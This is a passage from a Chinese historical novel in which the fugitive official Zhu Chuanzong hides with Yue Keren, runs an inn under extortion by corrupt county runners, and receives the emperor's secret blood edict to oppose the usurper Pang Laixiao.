岳家原本是个富户,后来受官司拖累,家道中落。朱传宗帮岳一鸣翻案之后,把住宅田地都发还岳家,只是家产多被抄没,再也寻不回来了。朱传宗临走时给他们留了些银两,想来也能够度日。
朱传宗装做和尚,上前敲门,哪知出来的却是个不认识的人。
那人一脸不耐烦地道:「快走,快走!我家没钱给和尚!」
朱传宗道:「在下与岳一鸣颇有旧交,请问岳施主在吗?」
那人打量了他几眼,道:「这家原来的住户是叫岳一鸣,不过他半年前就搬走了。」
朱传宗微微吃惊,问道:「搬走了?请问搬到何处去了?」
那人没好气地道:「我怎么知道?」
想了想又道,「好像搬到隔壁安兴县去了吧。你快点走吧!」
说完就把门关上了。
朱传宗威风惯了,吃了个闭门羹,心中不由慨叹。看了看自己身上的僧衣,心想:「真是虎落平阳被犬欺啊。」
摇了摇头,转身离去。
他再到岳可人的叔叔岳项东家,也是人走屋空,不知去向。朱传宗没有头绪,只好往安兴县去。
安兴县说大不大,也有几万户的人口,平白想找个人出来,就像大海捞针一样,谈何容易。朱传宗以化缘为名,穿街走巷,细细寻访。只是找了月余,还是没有音信。
这一日他又找了半天全无收获,看看将近午时,腹中饥饿,正巧街旁有个面摊,迈步走了过去。
朱传宗在偏僻角落坐下来,道:「请给贫僧煮碗素面。」
那卖面的人正背对着他煮面,应了一声,却是个女子声音。
只听邻桌两个客人一边吃面一边小声议论。一人道:「这朱姑娘真是漂亮,怪不得人都称她『卖面西施』呢。」
另一人道:「是啊,要是能娶到这样漂亮的老婆,少活十年都乐意啊!」
先前那人笑道:「你可别做梦了。这姑娘美是美,也是不好招惹的啊!听说前些天吴公子想娶她做妾,跑来纠缠她,却被她一碗热面汤给泼了出去,烫了一脸泡。」
朱传宗听了暗自一笑,心想:「这卖面姑娘还真有趣。听起来倒是个刚强烈性的女子。」
他害怕暴露身分,不敢抬头,只是把斗笠压得低低的,埋首吃面。等到付帐的时候,那卖面女子拿围裙擦了擦手行礼道:「不用了,就当是积个佛缘吧。」
朱传宗听她谈吐不凡,声音更是熟悉,抬起头来看时,两人都是一愣。朱传宗嘴一张,「可人」两字差点就脱口而出了。
岳可人一脸惊喜,小手捂住嘴巴,眼眶都红了。她知道这里不是谈话之所,跟旁边算帐的老者耳语了一句,那老者转头来看,果然是岳可人的父亲岳一鸣。
当下三人心照不宣。岳一鸣父女假称有事,把摊子收了,朱传宗便跟在他们后面,七拐八绕,进了一座小小的院落。
岳一鸣小心地看了看左右,关上房门,朝朱传宗拜道:「恩公!」
朱传宗急忙搀他起来。岳可人凝视着他,见他落魄至此,以前对他的种种不满,早就烟消云散了,道:「少爷,我看外面在悬赏抓你,担心得要死。你,你怎么出家了?」
朱传宗见她垂泪欲滴,楚楚动人的样子,又怜又爱,微笑道:「我这是假出家,掩人耳目而已。」
接着将过往经历说了一遍。
岳可人抚着胸口,长出了口气,道:「庞来孝太可恨了,幸好你没事。少爷,您以后就跟我们一起生活吧,我们一家在这里都没有亲故,不会被人发现的。」
朱传宗道:「只是怕连累了你们。」
岳一鸣道:「朱大人这是哪里的话!要不是当初您为我翻案,我们一家早就家破人亡了,如今能为恩公尽一份力,实在是毕生之幸。只是舍下简陋,恐怕要委屈恩公了。」
朱传宗心想:「古人说疾风知劲草,日久见人心。诚不欺我啊!」
他自落难以来,一路坎坷,见多了人情冷暖,此时越发觉得岳家父女的赤诚可贵。
稍后便问起岳家的近况。原来朱传宗为岳家翻案之后,新来的知县认为朱传宗是岳家的后台,因此不敢找岳家的麻烦。可是过了两年,一看朱家再没人来联系,那些受过翻案牵连的官吏们,胆子便渐渐大起来。摊徭派赋,处处为难岳家,连岳项东家也不肯放过。
然而祸不单行,岳一鸣的妾室,也就是小顺的生母,去年染了重病,久治不愈,后来就去世了,而岳家为了给她治病,又花尽了积蓄;当初侵吞他家产的那个蔡家这时趁机又来落井下石。岳一鸣兄弟一看实在是无法容身了,只好离乡背井。岳一鸣带着岳可人姊弟搬到了安兴县,岳项东干脆到别的州府去了。
到了安兴县后,岳可人靠着做面的手艺,开了一个小面摊。岳一鸣帮着她算帐,小顺则是到一家杂货铺当学徒去了。
朱传宗又气又恨,咬牙道:「这帮狗官,我当初真该杀光了他们!」
半晌叹了口气,道,「都是我办事不周,到底还是连累你们了。」
就这样,朱传宗就在岳家住了下来。过没几日,他看岳一鸣父女早起晚归十分辛苦,暗暗打定主意要帮忙做事。
这天,朱传宗一早起来,只听见劈啪的声响,循声走去,原来是岳可人在后院劈柴。
只见朝霞之下,岳可人俏脸红润,微张着小嘴喘息,额头上几滴晶莹汗珠,看起来娇艳如带露桃花,却又让人无限怜惜。她毕竟身子纤弱,往往五六下也劈不开一块柴。但是她双手仍握着刀把用力挥动,眉宇间一片坚强神色。
朱传宗过去接过柴刀道:「这不是女儿家做的,还是我来吧。」
岳可人先是不肯,挣了挣,不小心与朱传宗大手相触。她脸一红,这才放手站在一旁注视着。
朱传宗捡了一块柴来立在地上,一刀劈去,只听啪地一声,刀尖插到地上,木柴飞得远远去了。岳可人忍不住轻笑,朱传宗脸一红,道:「看不出来这木柴也挺顽皮的。」
岳可人听他说得有趣,笑意更浓了。柔声道:「少爷,你没做过,劈柴也有诀窍的。要沿着木柴的纹理,这样才劈得开。」
朱传宗何等聪明,不一会儿便摸到窍门,柴刀上下纷飞,转眼劈出一堆柴来。
岳可人抿着嘴盯着他,目光中异彩连连,也不知在想着什么。
不过朱传宗毕竟从小富贵,虽然身体健壮,这时也累了。岳可人取出一条手帕来,走上前帮朱传宗拭着脸颊上的汗水。朱传宗闻着她身上清幽的体香,盯着她如花的娇颜,一时呆住了。
岳可人脸一红,低下头道:「少爷,柴已经够了,你歇一会儿吧。」
朱传宗戏谑地看着她,突然「哼」了一声。
岳可人抬起头来,不解道:「少爷有什么不开心的事吗?」
朱传宗道:「我在气吴先生,气他出了这个狡兔三窟的主意!」
岳可人惊讶地问道:「吴先生思虑深远,未雨绸缪,少爷应该感谢他才是,怎么怪他呢?」
朱传宗又哼道:「若不是他的主意,我早就跟你长相厮守了。」
这简直就是变相的表白。岳可人脸红如霞,有些慌张地看了看左右,道:「我,我要和爹爹出摊去了。」
转身就想逃走。
朱传宗看她柔弱的身影,心中不舍,忍不住道:「可人,我陪你卖面去吧!」
第四章我为鱼肉
朱传宗按照吴先生的锦囊所写,寻到岳可人,一起经营小店,倒也相安无事。而朱传宗为了躲避耳目,留了胡须,戴上假发,等头发渐渐长出来后,再也不怕了。不过岳一鸣仍怕出事,便让他和岳可人成亲,然后让他们去一个偏僻的地方生活。
北疆省是大梁国最远最偏僻的省,因此两人一起到这里,在一个叫绥平的小县安顿下来,两人开了一间小小的酒店度日。
朱传宗位高权重,平时锦衣玉食,自然对美食十分考究,不但吃遍了京城有名的酒楼,连皇宫的御宴都不知道参加过多少回。那些南北名菜,就算不知道做法,可是吃过多次,如此揣摩着做了几次,也琢磨出几道菜来,虽然比不上那些名厨;但在这个偏远小县,也算是很出众了,因此酒店的生意十分兴旺。
若是常人,这样的生也就很满意了,但是朱传宗曾经在朝廷上位高权重,呼风唤雨,在家里也是锦衣玉食,美人环饶。如今只不过做一个小酒店的厨师,整日与锅铲为伴,这让他如何能够不心猿意马?而且每当想起朝中奸党独大,横行不法,又想起家人被自己连累,现在不知道沦落到何处,难免终日嘘叹,愤懑不已。
岳可人是玲珑心思,看他愁眉不展,哪里还不知道他心中所想?但是想要劝他,又不知道从何劝起。
这天打烊得早,朱传宗沏了壶茶,坐在院子里,看着天边残阳,想起远隔千里的亲眷,不禁又有些戚戚然。岳可人边倒茶边盯着他看,忽而一笑。
朱传宗低下头,见她穿着鹅黄色粗绸长裙,乌发垂肩,上面别着一支珠钗。
眉儿弯弯,眼儿水灵,俏丽脸蛋,似吹弹即破。虽是民家打扮,却难掩天生丽质。挽着袖口,一双秀手,十指纤纤,丰盈而不见肉,娇柔而若无骨,真是说不出的可爱。忧愁顿时去了几分,微笑道:「娘子有什么有趣的事,说来听听?」
岳可人一边将茶递给他,一边笑道:「我只是突然想起了一个故事,跟咱们的酒店有些关联,所以觉得有趣。」
朱传宗道:「什么故事?」
岳可人道:「以前有个大才子与一个富商的女儿相恋,两人相约私奔。可是大才子家境十分贫寒,富家小姐就亲自开了家小酒店,当炉卖酒——」
说到此处停住,又温柔地看着朱传宗,微笑起来。
朱传宗道:「你说的是司马相如和卓文君的故事。这故事也是个千古美谈呢。」
想了一会儿,轻叹道,「卓文君才貌双绝,你也不比她差。不过司马相如乃是有名的才子,我却只是个带罪的逃犯!这种隐姓埋名的清贫日子,不知道要过多久。」
岳可人道:「可是我很开心啊!」
朱传宗奇道:「吃苦有什么值得开心的?」
岳可人想了想道:「相公富贵的时候,身边有数不清的人服侍。可是潦倒的时候,却只有我有机会陪在你身边,我多有福气啊!」
说着就抿着小嘴儿得意地笑起来,又握起朱传宗的手道,「再说相公只是一时的困顿,早晚还有复出的一天,世上还有无数百姓等着相公去替他们主持公道呢。」
朱传宗怔了半晌,喃哺道:「我还有复出的一天吗?」
岳可人道:「当初我进京告状的时候,一年没有结果,流落在街头上,我以为一生都伸冤无望了。可是不久就遇到了相公,为我爹爹翻案昭雪。世上无难事,只怕有心人。相公的才华见识强过我百倍,难道还不明白这个道理吗?」
朱传宗听了心中颇有感触,心想:「可人这是在开解我呢。她是个坚强果敢的女子,我身为她的相公,怎么能遇到挫折便灰心丧气,还不如个女子呢。我从天上被贬到凡间来,反倒品味到了人间的情爱,还做了许多为民做主的大事。现在我从朝廷沦落到民间,正好体验一下民间的疾苦,未尝不是一件好事啊!」
朱传宗想通了一些,心情也不再那么郁结了。
转眼,酒店也开张了一个多月。这天中午来了两个衙役,进门四处看了看,朝朱传宗道:「老板,你这里生意不错啊。」
朱传宗以为他们是来吃饭的,急忙招呼。可是这两个人也不就坐,一会儿夸酒店客人多生意好,一会儿抱怨自己这些当衙役的干活辛苦,有一搭没一搭的,东拉西扯个没完。
朱传宗听了几句就明白了,知道这两个衙役是来打秋风的。勉强应付了几句,心里却越来越厌恶,直想一脚把两人踢出去,可他一想到自己现在的身分,只好忍着。
那两个衙役说了半天,越说越露骨,就差直接开口要钱,见朱传宗好像还是没听懂似的,两人对视一眼,其中一个咳嗽一声道:「老板,你这个月的例钱还没交吧?」
朱传宗道:「什么例钱?我们店里的商税早交齐了啊。」
那衙役道:「你交的商税是给朝廷的,我说的例钱是给衙门的。」
朱传宗笑道:「两位差官别开玩笑了。衙门自有朝廷发下来的俸禄,跟我们百姓收什么钱呢?」
另一个衙役忍不住道:「你是装不知道还是真不知道?靠那几个钱,让兄弟们都去喝西北风啊!让你交你就交,还想不想做生意了?」
这要是在以前,别说个小小的衙役,就是省里、部里的高官,谁敢这么跟朱传宗说话?可是现在人在屋檐下不得不低头。朱传宗气得心里大骂,脸上却也不能流露什么不满,道:「小店本小利薄,差官若是没有衙门的官文,只好对不住了,这钱我是不交的。」
那两个衙役闻言大怒,可是看了看周围坐满的客人,也不好发作,瞪了朱传宗半晌,一个衙役冷笑着道:「那就祝你生意兴隆了!」
两人转身气冲冲地走了。
岳可人有些担心地道:「得罪了这些当差的,会不会有麻烦啊!不如就把钱给他们吧?」
朱传宗知道岳可人以前吃够了官府的苦头,握着她的手安慰道:「别怕,有我呢。他们这是敲诈勒索,没有合法的名目,告到大堂上也不站不住脚。」
朱传宗嘴上说不在乎,心里也不轻松。他早就听过一句话:阎王好送,小鬼难缠。又有一句话,叫做「县官不如现管」,说的就是这些衙门里的官差衙役。
别看他们职位不高,却是骑在百姓头上,权力可不小。朱传宗以前在外地查案,亲眼见过衙役如何横行霸道,欺负百姓,现在得罪了他们,要是隔三差五来闹上一番,生意也就没法做了。
朱传宗想到这些,不免有些后悔。他自己是不怕的,可是身边还有岳可人这个弱女子,要是受了连累,那就糟了。思忖了半晌,朱传宗一咬牙,心想:「罢了,要是明天他们再来要钱,就给他们,就当是被狗咬一口算了。」
他做了这个决定,心中却生出一股苦涩的滋味,十分难过。堂堂的朝廷重臣,现在却到了要向市井小吏低头的地步,其中的酸楚,真是难以言表。呆呆地想了半日,一整夜都没睡好。
到了第二天,那两个衙役倒没有再来。下午时候,却有一桌酒客,闹了起来。说是从饭菜里吃出了一只蟑螂,不依不饶的,要向老板讨个说法。
厨房都是两人每日清扫,怎么会有蟑螂?朱传宗心中疑惑,走过去一看,见那桌坐着五六个大汉,个个斜眉竖眼,满脸痞气,不像什么正经客人。朱传宗正担心衙役收钱的事,也没心思跟他们理论,又怕争执起来给其他客人看到,影响酒店的声誉,只好陪了几句好话,免了饭钱,又赔了几钱银子,好不容易才把这几个人打发走了。
哪知道过了一天,那几个人又来了。吃得酒足饭饱,又开始吵闹,说是从菜里头吃出一只苍蝇。
朱传宗顿时明白,原来这伙人是成心来闹事的。他一捏拳头,就想过去教训那几个无赖。岳可人急忙拉住他,劝了半天,说是不值得为了一顿饭钱影响了生意。朱传宗虽然气得冒火,也知道她说的有理,只好坐在柜台里生闷气。岳可人亲自拿了几钱银子,又去向他们赔礼,打发他们走了。
到了第三天,这几个人吃完酒饭,刚拿出一条老鼠尾巴来要嚷,朱传宗实在忍不住了,冲过去怒道:「你们到底想怎么样?」
朱传宗久居高位,身上自有一股威严的气势,那群人都被吓得一愣。不过他们见朱传宗只有一个人,身上穿着油渍的厨师衣服,顿时胆子又大了起来。为首的瘦子道:「你得赔我们!」
朱传宗道:「你们想要什么?」
那瘦子道:「我们也不多要。看你这酒店生意这么好,只要以后每月交上十两银子,这事就算了。」
岳可人气道:「你们这不是讹诈吗?」
那瘦子嬉皮笑脸地道:「我们吃了蟑螂,以后生大病怎么办?要十两银子都算少的。不过小娘子你这么漂亮,要是肯陪我几晚,说不定我们还有得商量。」
说着便要伸手去摸岳可人的脸颊。旁边的人一阵哄笑。
朱传宗本来想忍让,但看他们居然敢欺侮岳可人,登时大怒。一把架住瘦子的手,冷笑道:「好,给你银子!」
一使劲儿把瘦子扔出一丈远,顺着店门滚了出去。
朱传宗担心砸坏了店里的东西,当先抢出门去。那群人嚷嚷着要他好看,也跟出门去,一拥而上,就在当街之上,打了起来。
这些人不过是混迹市井的泼皮无赖,平时仗着人多,横行惯了,哪里有什么本事,没多久便被朱传宗打得落花流水。朱传宗憋了好些日子的怨气,正没处发泄,遇到这个机会,把他们一个个揍得鼻青脸肿,还不肯住手。
那几个无赖打也打不过,跑又跑不了,哭爹喊娘,跪地求饶起来,嘴里喊着:「大爷饶了我们吧,是衙役老爷派我们来的。我们再也不敢了。」
朱传宗一愣,问道:「你们说什么?」
那个领头的瘦子一边叩头一边哭丧着脸道:「我们也是没有办法啊。我们都是城里的贫民,没有田地,又没有营生的手艺,衙役老爷把我们召集起来,让我们干什么我们就得干什么,不然就没饭吃。我们也不敢不听啊。」
旁边一个无赖也道:「我们讹的钱全要交给衙役老爷,自己连三成都留不到。我家里老婆孩子现在还等着米下锅呢!」
朱传宗听得呆了。看他们哭的凄惨模样,一挥手放他们走了。走回店里,坐在柜台边上,脸色十分难看。
岳可人挨着他坐下,道:「相公,原来这些无赖都是衙役指使的。看来是因为咱们不肯交钱,所以怀恨在心。」
朱传宗点了点头,叹道:「我今天算是长了见识了。当差的勒索不成,就派地痞无赖捣乱,这不是官匪勾结吗?」
岳可人道:「相公刚才狠狠教训了他们,以后肯定不敢再来捣乱了。」
朱传宗道:「这几个无赖虽然可恨,也有身不由己的地方。归根究底,还是在那些衙役身上啊!」
岳可人道:「相公,你现在还有官司在身,不好跟他们纠缠,咱们还是……」
朱传宗叹道:「也只好如此了。」
过了两日,两个衙役上门来,装模作样地道:「有人举报你的店里卫生很差,饭菜里居然有蟑螂。可有此事?」
朱传宗也没心思跟他废话,直接道:「差官,您说个数目吧,我们愿意交了。」
两个衙役一愣,道:「那先交三两银子的卫生费吧。」
朱传宗一听张嘴就要三两,暗骂了一声,没奈何只好包了银子。俩衙役见了银子,马上笑容满面,一边接过揣进怀里,一边道:「早这样知趣不就行了?」
说着得意洋洋地离去。
原以为事情会就此过去,没想到过没几天,那俩衙役又上门了,说是最近城中盗贼横行,官差们很辛苦,要收治安费。
朱传宗道:「抓贼是官府的职责,拿朝廷的俸禄自然得做事,跟百姓要什么钱?」
一个衙役道:「官差都是白天当差,盗贼都是晚上做案,我们当然要拿双份俸禄。」
朱传宗虽然气得要死,犹豫半晌后,还是按捺火气,拿了银子打发他们走了。
又过了几天,先前那两个衙役没来,换了两个新面孔。这次收的是教育费,说是县里的学馆旧了,要重新整修。
朱传宗忍不住道:「学馆是礼部管理,根本不关地方衙门的事。更何况有户部的专款,又跟我们收什么钱?」
两个衙役愣了一下。这些朝廷机构他们根本不懂,也不知道朱传宗说的是真是假。不过他们巧立名目收钱久了,早都练就了一身讲歪理的本事,当下一个衙役便道:「朝廷拨的款是给学馆的老师用的,我们收钱是为了改善环境,为了让学生们读书的条件更好,你的孩子将来读书也受益啊。」
朱传宗道:「我根本没孩子,受什么益?」
另一个衙役立刻道:「你现在没孩子,将来也没有吗?这是造福后代的事,你懂不懂?」
真是秀才遇到兵,有理讲不清。朱传宗瞪着他们不说话,岳可人怕他忍不住火,急忙过来取了五两银子给他们,这才息事宁人。
朱传宗骂道:「这群吸血鬼。这样没完没了,跟强盗有什么区别。若是以前被我碰上,非砍他们头不可!」
岳可人小手抚着他后背,替他顺气,道:「相公别生气了,这种事再平常不过。以前我家中也做买卖,每年被官差打秋风,还有给衙门的孝敬,比正常的赋税还多。只要能让咱们平安做生意,就当是破财消灾吧。」
朱传宗道:「国家自有固定的税赋,难道违法的事反倒正常?」
岳可人笑道:「相公,你在官场那么通透,怎么现在反倒想不明白呢?你既然知道官员们贪污腐败,那么他们贪污的钱又是从哪来的呢?大官收小官的钱,小官俸禄又少,当然是打百姓的主意。我们这些做生意的还好些,最惨就像我家这样,关了买卖,也就罢了,有的百姓这样都不可得呢。」
朱传宗道:「哦?你给我讲讲。」
岳可人想了想,道:「我家乡就有这样的事。有一种税叫苗木税,只要家中栽了树,每长高三尺,就要交一次钱。这样等树长成材时,交的税已经比树材的价值还多了。有的百姓没钱交,只好把栽的树砍掉。哪知又要交伐木税,比苗木税还要高。我听说有的家庭因为栽树栽多了,被逼得破产,家破人亡也是有的。」
朱传宗听得心中一酸,没想到百姓除了受欺压,平时受了冤枉没处伸张,连平常过日子也这么辛苦。他以前虽然办了很多大案,但这样百姓生活的艰辛,还是第一次体会到。
他不由想起一句古话:人为刀俎,我为鱼肉!现在的情形,贪官污吏就是刀俎,百姓就是鱼肉,只能忍气吞声,任人宰割。
过没几日,朱传宗去进货回来后,发现岳可人一脸忧虑,急忙询问,原来刚接到通知,要为西北赈灾募捐,要求至少捐献五两。酒店生意虽好,但被他们收了好几次,已经没钱了。
朱传宗破口大骂:「真是岂有此理!」
也难怪他如此生气。西北闹灾已经是几年前的事了,赈灾还是他亲自办的,现在居然拿这个理由来收钱,世上还有比这更荒诞的事吗?
岳可人见他气急,忙劝道:「相公别生气,我明天拿两件首饰当了,把钱给他们就是了。」
朱传宗道:「我算明白了。人善被人欺,马善被人骑。越是忍让,他们只会变本加厉,这什么时候才能结束?」
转身走了出去。
衙役们正在店里等着,看见朱传宗从后院出来,还以为是送钱来的。
哪知朱传宗扫了他们一眼,道:「既然是捐款,交不交就是自愿。我没钱,你们走吧。」
那几个衙役见朱传宗不肯拿钱,顿时变了脸,一个道:「不行,这是朝廷规定的,不交就封了你的酒店!」
朱传宗道:「朝廷恐怕没有这项法令吧?」
衙役们心道:「这里这么偏远,你一个百姓知道什么法令,还不是我们说什么就是什么。」
当下一起道:「当然有,都是明文发下来的。你一个老百姓,难道比我们当差的还清楚?」
朱传宗曾经身为执法大臣,熟读法律,岂只是比他们清楚?他又冷笑了两声,道:「我就知道大梁律法里没有赈灾赋税这一条。你们再要巧取豪夺,咱们就到衙门去找知县大人查查看。」
衙役们横行惯了,什么时候有百姓敢顶撞他们,气得跳起来骂道:「你这刁民,竟敢抗税,真是可恨。我看你是不想做生意啦。」
他们都心道:「到了县老爷面前,我们怎么说他就怎么信,难道还会帮你这个百姓。这次不多交银子,你就别想出来!」
岳可人在旁边急坏了,拉着朱传宗道:「相公,咱们给钱就是了,你去衙门吃亏怎么办?」
朱传宗此时也顾不得其他了,安慰岳可人道:「娘子别怕,衙门总是讲理的地方,难道他们还敢颠倒是非?」
朝几个衙役冷笑一声道:「我倒要看看,你们怎么能从刑律里找出一条,治我不肯捐款的罪!我就到你们知县那里,看他是不是纵容你们。」
众衙役都道:「好,你这个不知道好歹的小子,你有胆子就跟我们来。」
众衙役骂骂咧咧地,押着朱传宗来到县衙,却不往堂上走,而是直奔牢房而去。朱传宗喊道:「你们这是做什么?我要找知县大人说理。」
众衙役骂道:「老爷是你见的吗?」
朱传宗哪里肯就范,便大声叫了起来。
吵闹声音大了,果然惊动了知县。知县是一个五十来岁的男子,他听见动静了,带了两个衙役走了出来,忽然看见朱传宗,脸色顿时一变,随即挥手把众人都赶了下去。
知县带朱传宗进入内堂,等没有别人在场时,那县官突然倒身下拜,一边道:「朱大人,终于又见到您了。」
朱传宗一惊,发现对方似乎没有恶意,也就镇定下来。看知县他有些眼熟,却又认不出来,疑惑道:「你是?」
那县官道:「朱大人不记得我了吗?我是蓝和呀。」
朱传宗恍然道:「原来是你!」
05-15
第五章不得不反
朱传宗被抓进衙门,本来也是吉凶难料,哪知道县令见了他却是必恭必敬,十分礼遇。朱传宗端详半晌,这才恍然大悟,原来这个县令乃是他原来的一个下属。
说起两人结识的缘由,倒也十分有趣。前年元宵节的时候,朱传宗临时到督察院衙门去取东西,衙门中的官员和衙役都回家过节去了,衙门中冷冷清清,却有一个房间透出灯光,朱传宗一时好奇,就推门进去了。
里面有个供事正坐着喝酒,供事是最末流的小吏,根本没有品级,跟朱传宗堂堂的督御史自是没法相比,连见他一面的机会也不可得。不过他见朱传宗衣着华丽,以为是朝中巡查各部的官员,赶忙起身邀坐,请朱传宗一起喝酒。
朱传宗见他谈吐有几分风度,也就欣然坐了。两人聊了一会儿,十分投机。
朱传宗好奇问道:「现在过节放假,大家都回家享乐了,你怎么还留在这呢?」
蓝和道:「衙门里的公事很多,要是人人都图自己方便,万一临时有了急事被耽误了,这个责任谁来负呢?」
朱传宗听了心里赞赏不已,觉得这个蓝和是个忠于职守的人,于是有心提拔他一下。遂问道:「做供事有什么好前途吗?」
蓝和想了想道:「将来差满,要是能选个小官做,我就满足了。」
朱传宗心想人人都想做大官,这人却想做小官,不禁更好奇了,问道:「做小官权势低微,有什么乐趣?」
蓝和笑道:「假如运气好,选做广东河泊所的所官,那就是大乐趣了!」
朱传宗不解:「为什么称大乐趣呢?」
蓝和道:「那个河泊所近在海边,舟楫来往,多有馈送呀。」
朱传宗听罢连连点头,又喝了几杯,才告别而去。
朱传宗回去以后,回想蓝和的话,发觉此人没什么野心,只想找个小肥差,既轻松,又不用贪赃枉法,还能过的滋润,比很多道貌岸然的人好多了。朱传宗也欣赏他的真诚,就派人到吏部知会了一声,给蓝和补授了南海省的一个河泊所官。
河泊所官比九品还低,职位轻微之极,朱传宗自然是一句话就敲定了。消息传到衙门,同事们人人羡慕,蓝和也是高兴不已。后来他托人打听,才知道原来元宵节晚上跟他一起喝酒,又发话提拔他的,竟然是大名鼎鼎的朱青天朱传宗。
蓝和临上任前专门去朱家道谢。朱传宗勉励了他几句,又送他些盘缠,蓝和更加千恩万谢。此后赴南海省上任,便无音信了。
此时故人相见,彼此都有些感慨。问到别后境遇,原来蓝和在河泊所官绩优异,去年被提拔做了绥平县令。
朱传宗道:「蓝大人,我现在是带罪之身,你把我抓住献上去,可就立下大功了。」
蓝和急忙道:「大人对我有知遇之恩,我怎么会是那种忘恩负义的小人呢?况且大人应该知道我对权势从没什么兴趣,能做个县令已经满足了。大人别打趣我了。」
朱传宗知道他的人品,也就放下心来。蓝和命人摆了酒席,准备为朱传宗压惊。蓝和说及朝廷的事,如今没了朱传宗抵制,庞来孝专横弄权,一手遮天,最为离谱的是,竟然对往来城乡之间运送粪肥的船只、车辆开征「粪税」,老百姓们都编了谚语,说是「自古未闻粪有税,如今只剩屁无捐!」
说起这些,两人不由得相顾叹息。
依蓝和的意思,本想就留朱传宗从此在衙门里同住。朱传宗笑道:「衙门里人多眼杂,万一我被发现,还要连累你。」
蓝和知道他说的不错,也就做罢了。
末了将众衙役叫上堂来,狠狠训斥了一顿。道:「这位老板是我的故交,你们以后再找他麻烦,我就剥了你们的皮!」
众衙役知道这回踢到了铁板;都吓得面如土色,全围上来给朱传宗陪不是,争着把以前勒索的钱还回来。朱传宗知道他们这么做只是因为怕蓝和,心里没有一点扬眉吐气的感觉,反倒更加气愤,告辞了蓝和,回酒店去了。岳可人正想凑银子去衙门赎人,见他平安回来,这才放心。
朱传宗是心高气傲的人,这次靠别人的关照才脱险,心里很不痛快,也无心再做生意,把酒店挂了暂停营业的牌子,坐在家里,思前想后,十分的不甘心。
朱传宗想到他原来是呼风唤雨,英雄一世,如今躲在这个穷乡僻壤,被那些官员们欺负,被地痞流氓算计,真是活得太窝囊了,他家中虽有娇妻美妾,可是却是有家不能回,就这样日子白白虚度,而且如今天下如此黑暗,老百姓这么受罪,为什么不能奋力一搏,东山再起呢?
朱传宗一拍桌子,大喊道:「我再也不能忍了,男子汉大丈夫,死也要死得其所。」
这时忽然有人推门进来,鼓掌大笑道:「说的好,说的好。」
朱传宗开始脸色一变,等看清来人面貌,才大喜道:「吴先生?您、您怎么来了?」
吴思远道:「我来给你送妙计来了,怎么,不欢迎吗?」
朱传宗将吴思远迎进屋来,岳可人也过来见礼,吴思远笑道:「朱大人坐拥娇妻,乐不思蜀,看样子是要安心做个田舍翁了。」
朱传宗苦笑道:「吴先生别笑话我了,这个世道,豺狼当道,丑恶横行,就想做个平安的田舍翁,也不可得啊。」
吴思远道:「哦?」
朱传宗便将近来酒店发生的事和这段时间的一些见闻,说了一遍。说完后叹了口气道:「百姓谋生如此艰难,我不但不能救民于水火,现在连自己都快保全不了。除了感慨有心无力,还能如何呢?」
吴思远道:「可我进门之前,听见大人愤然而言,似乎还有东山再起,为天下人出力的意思。不知道是不是我听错了?」
朱传宗道:「我是想东山再起,可是如今朝廷是庞来孝的天下,我无官无势,拿什么跟他斗呢?」
这时他想起久无音信的家人,急切问道,「先生是从京城来的?不知道我家人们现在情况如何?有没有……」
吴思远道:「庞来孝嫉恨的只有你一人,加上皇上尽力维护,朱家全家被流放到了岭南,倒也没受到什么迫害。不过,你儿子可就危险了。」
朱传宗一怔,道:「我的儿子?」
吴思远道:「正是。媚妃在冷宫诞下一子,已经几个月了。庞来孝知道那是你的血脉,又恨当初媚妃帮助你跟他作对,总想找机会对付她们,全靠皇上设法才保住她们性命。不过庞来孝见皇上不肯听他摆布,已经有想除去他之意。现在皇上自顾不暇,她们的日子是更难过了,现在媚妃一定盼着你呢!」
俗话说父子天性,实在不假。朱传宗听说媚妃给他生了儿子,先是欣喜若狂。而后一听妻儿有难,顿时心急如焚,就要马上赶去京城。
吴思远忙拦他道:「大人不可莽撞。现在京城全是庞来孝的党羽,不要说想救她们出来是千难万难,就算救出来,你们又在何处容身?难道一辈子这样东躲西藏?」
朱传宗是关心则乱,被吴思远一劝,也冷静了下来。
他看见吴思远手捋胡须,意定神闲,心中一动,道:「先生足智多谋,肯定是早有定策。」
吴思远不答,小心地朝门外看了一眼。岳可人知道他们要商议大事,道:「我去关上店门,顺便帮你们看着。」
起身便出去了。
朱传宗催道:「这下先生可放心了?有什么计策,快告诉我吧。」
吴思远哈哈一笑,从怀里掏出一方绢轴来,道:「大人请看。」
朱传宗接过打开一看,只见上面写道:「朕闻人伦之大,父子为先;尊卑之殊,君臣为重。近日庞贼弄权,欺压君父;结连党伍,败坏朝纲;敕赏封罚,不由朕主。朕夙夜忧思,恐天下将危。卿乃国之大臣,当念高帝创业之艰难,纠合忠义两全之烈士,剿灭贼党,复安社稷,祖宗幸甚!破指洒血,书诏付卿,再四慎之,勿负朕意!」
全是用手指蘸血所书,后面端正地盖着皇帝的玉玺大印。
朱传宗吃了一惊,仔细看了几遍,才盯着吴思远问道:「吴先生,这是?」
吴思远微微一笑,道:「这是当今皇上手书的密诏,特命我带给大人。有了圣旨在手,大人可以大展拳脚了。」
原来自从朱传宗化装潜逃,朱家被贬出京城后,朝廷之上,便成了庞来孝一家的天下。汤治本来就没什么势力,虽然身为皇帝,其实只是个摆设,大小政事都是庞来孝说了算。
汤治是个有几分才能志向的人,不甘心做个傀儡皇帝,暗中扶植了几个忠于皇帝的大臣,想要跟庞来孝争权。哪知道庞来孝虽然是个奸臣,弄权的手段却十分厉害。双方争执了几次,那些大臣都被庞来孝捏造罪名抓了起来,此后汤治更是孤家寡人,说不上话了。
光是飞扬跋扈,那也就算了。最近庞来孝愈发专横,带剑上殿,见君不跪,大有要篡位自己做皇帝的架势。汤治山穷水尽之时,想起朱传宗来。他知道吴思远是朱传宗的人,肯定跟朱传宗有联系,便想办法把他叫进宫去,写了这份密诏,请朱传宗重回官场来对付庞来孝。
朱传宗想到当初汤治对自己多有帮助,两人亦是布衣之交,后来他又救了自己性命,于情于理,都不能袖手旁观。可是听吴思远所说,现在庞来孝一手遮天,皇帝自己的话都不管用了,这一份密旨又能起多大作用呢?故此低头沉吟不决。
吴思远看出他的心思,笑道:「庞来孝虽然势大,大人可也不差啊!有道是得道多助,失道寡助。大人在民间的名声极好,民心所向,还是大有可为的。朝中的忠良大臣也都对大人翘首以盼,更何况大人在外还有一大强援呢?」
朱传宗急忙问道:「还有什么强援?」
吴思远喝了口茶,一字一顿地道:「大将军王定昆。」
朱传宗眼前一亮,拍手笑道:「王大哥?我怎么把他忘了!他现在近况如何?」
吴思远道:「他现在官拜威远大将军,手握雄兵十万,位高权重。若是说得动他相助,大事可成。」
